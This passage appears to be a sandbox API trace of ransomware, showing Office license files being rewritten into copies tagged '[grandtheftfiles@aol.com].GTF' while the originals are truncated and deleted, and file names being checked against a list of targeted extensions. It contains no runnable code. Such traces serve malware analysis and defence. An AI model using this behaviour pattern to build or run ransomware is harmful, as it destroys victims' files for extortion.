	[0173.696] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0173.713] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0173.714] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.714] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.714] SetEndOfFile (hFile=0x564) returned 1
	[0173.715] CloseHandle (hObject=0x564) returned 1
	[0173.715] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.715] SetEndOfFile (hFile=0x3dc) returned 1
	[0173.753] CloseHandle (hObject=0x3dc) returned 1
	[0173.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1
	[0173.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.754] lstrlenW (lpString=".doc") returned 4
	[0173.754] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString=".docx") returned 5
	[0173.754] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.754] lstrlenW (lpString=".pdf") returned 4
	[0173.754] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString=".xls") returned 4
	[0173.754] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString=".xlsx") returned 5
	[0173.754] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.754] lstrlenW (lpString=".ppt") returned 4
	[0173.754] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.754] lstrlenW (lpString=".zip") returned 4
	[0173.754] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString=".rar") returned 4
	[0173.754] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString=".bz2") returned 4
	[0173.754] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString=".7z") returned 3
	[0173.754] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.754] lstrlenW (lpString=".dbf") returned 4
	[0173.754] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.754] lstrlenW (lpString=".1cd") returned 4
	[0173.754] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.755] lstrlenW (lpString=".jpg") returned 4
	[0173.755] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.755] lstrlenW (lpString=".doc") returned 4
	[0173.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString=".docx") returned 5
	[0173.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.755] lstrlenW (lpString=".pdf") returned 4
	[0173.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString=".xls") returned 4
	[0173.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString=".xlsx") returned 5
	[0173.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.755] lstrlenW (lpString=".ppt") returned 4
	[0173.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.755] lstrlenW (lpString=".zip") returned 4
	[0173.755] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString=".rar") returned 4
	[0173.755] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString=".bz2") returned 4
	[0173.755] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString=".7z") returned 3
	[0173.755] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.755] lstrlenW (lpString=".dbf") returned 4
	[0173.755] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.755] lstrlenW (lpString=".1cd") returned 4
	[0173.755] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0173.756] lstrlenW (lpString=".jpg") returned 4
	[0173.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.756] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.756] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41
	[0173.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.756] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11215) returned 1
	[0173.756] CloseHandle (hObject=0x3dc) returned 1
	[0173.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0173.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.757] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.757] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.758] GetLastError () returned 0x0
	[0173.758] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0173.768] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0173.769] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.769] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x126, lpOverlapped=0x0) returned 1
	[0173.769] SetEndOfFile (hFile=0x564) returned 1
	[0173.769] CloseHandle (hObject=0x564) returned 1
	[0173.769] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.769] SetEndOfFile (hFile=0x3dc) returned 1
	[0173.773] CloseHandle (hObject=0x3dc) returned 1
	[0173.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0173.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.774] lstrlenW (lpString=".doc") returned 4
	[0173.774] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString=".docx") returned 5
	[0173.774] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.774] lstrlenW (lpString=".pdf") returned 4
	[0173.774] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString=".xls") returned 4
	[0173.774] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString=".xlsx") returned 5
	[0173.774] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.774] lstrlenW (lpString=".ppt") returned 4
	[0173.774] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.774] lstrlenW (lpString=".zip") returned 4
	[0173.774] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString=".rar") returned 4
	[0173.774] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString=".bz2") returned 4
	[0173.774] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString=".7z") returned 3
	[0173.774] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.774] lstrlenW (lpString=".dbf") returned 4
	[0173.774] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.774] lstrlenW (lpString=".1cd") returned 4
	[0173.774] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.775] lstrlenW (lpString=".jpg") returned 4
	[0173.775] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.775] lstrlenW (lpString=".doc") returned 4
	[0173.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString=".docx") returned 5
	[0173.775] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.775] lstrlenW (lpString=".pdf") returned 4
	[0173.775] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString=".xls") returned 4
	[0173.775] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString=".xlsx") returned 5
	[0173.775] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.775] lstrlenW (lpString=".ppt") returned 4
	[0173.775] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.775] lstrlenW (lpString=".zip") returned 4
	[0173.775] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString=".rar") returned 4
	[0173.775] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString=".bz2") returned 4
	[0173.775] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString=".7z") returned 3
	[0173.775] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.775] lstrlenW (lpString=".dbf") returned 4
	[0173.775] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.775] lstrlenW (lpString=".1cd") returned 4
	[0173.775] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0173.776] lstrlenW (lpString=".jpg") returned 4
	[0173.776] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.776] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.776] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42
	[0173.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.776] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=21737) returned 1
	[0173.776] CloseHandle (hObject=0x3dc) returned 1
	[0173.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0173.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.777] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.777] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.929] GetLastError () returned 0x0
	[0173.929] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x54e9, lpOverlapped=0x0) returned 1
	[0174.039] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0174.054] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.054] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x128, lpOverlapped=0x0) returned 1
	[0174.055] SetEndOfFile (hFile=0x564) returned 1
	[0174.055] CloseHandle (hObject=0x564) returned 1
	[0174.057] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.057] SetEndOfFile (hFile=0x3dc) returned 1
	[0174.071] CloseHandle (hObject=0x3dc) returned 1
	[0174.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0174.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.079] lstrlenW (lpString=".doc") returned 4
	[0174.079] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString=".docx") returned 5
	[0174.079] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.079] lstrlenW (lpString=".pdf") returned 4
	[0174.079] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString=".xls") returned 4
	[0174.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString=".xlsx") returned 5
	[0174.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.079] lstrlenW (lpString=".ppt") returned 4
	[0174.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.079] lstrlenW (lpString=".zip") returned 4
	[0174.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString=".rar") returned 4
	[0174.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString=".bz2") returned 4
	[0174.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.079] lstrlenW (lpString=".7z") returned 3
	[0174.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.079] lstrlenW (lpString=".dbf") returned 4
	[0174.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.080] lstrlenW (lpString=".1cd") returned 4
	[0174.080] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.080] lstrlenW (lpString=".jpg") returned 4
	[0174.080] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.080] lstrlenW (lpString=".doc") returned 4
	[0174.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString=".docx") returned 5
	[0174.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.080] lstrlenW (lpString=".pdf") returned 4
	[0174.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString=".xls") returned 4
	[0174.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString=".xlsx") returned 5
	[0174.080] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.080] lstrlenW (lpString=".ppt") returned 4
	[0174.080] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.080] lstrlenW (lpString=".zip") returned 4
	[0174.080] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString=".rar") returned 4
	[0174.080] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString=".bz2") returned 4
	[0174.080] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.080] lstrlenW (lpString=".7z") returned 3
	[0174.080] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.080] lstrlenW (lpString=".dbf") returned 4
	[0174.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.081] lstrlenW (lpString=".1cd") returned 4
	[0174.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0174.081] lstrlenW (lpString=".jpg") returned 4
	[0174.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.081] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.081] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31
	[0174.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.082] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10659) returned 1
	[0174.082] CloseHandle (hObject=0x530) returned 1
